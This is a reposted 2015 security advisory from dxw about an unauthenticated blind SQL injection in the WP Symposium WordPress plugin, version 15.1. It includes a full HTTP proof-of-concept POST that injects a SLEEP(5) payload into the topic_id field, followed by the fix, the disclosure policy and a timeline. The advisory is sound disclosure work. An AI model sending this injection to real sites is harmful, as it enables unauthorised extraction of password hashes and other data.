Latest YouTube Video

Wednesday, August 12, 2015

[FD] Blind SQL Injection in WP Symposium allows unauthenticated attackers to access sensitive data (WordPress plugin)

Details ================ Software: WP Symposium Version: 15.1 Homepage: http://ift.tt/1TolapK Advisory report: http://ift.tt/1UCda1p CVE: Awaiting assignment CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:N/A:P) Description ================ Blind SQL Injection in WP Symposium allows unauthenticated attackers to access sensitive data Vulnerability ================ An unauthenticated user can run blind sql injection of the site and extract password hashes and other information from the database. Proof of concept ================ Perform the following POST to a site with the plugin installed. The request will take over 5 seconds to respond: POST /wordpress/wp-content/plugins/wp-symposium/ajax/forum_functions.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: text/html, */*; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://ift.tt/1vzc6T2 Content-Length: 51 Cookie: wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce; wp-settings-time-1=1421717320 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache action=getTopic&topic_id=1 AND SLEEP(5)&group_id=0   Mitigations ================ Upgrade to version 15.8 or later Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: http://ift.tt/1B6NWzd Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2015-03-02: Discovered 2015-07-14: Reported to simon@wpsymposium.com 2015-07-14: Requested CVE 2015-08-07: Vendor confirmed fixed in version 15.8 2015-08-10: Published Discovered by dxw: ================ Glyn Wintle Please visit security.dxw.com for more information.

Source: Gmail -> IFTTT-> Blogger

No comments: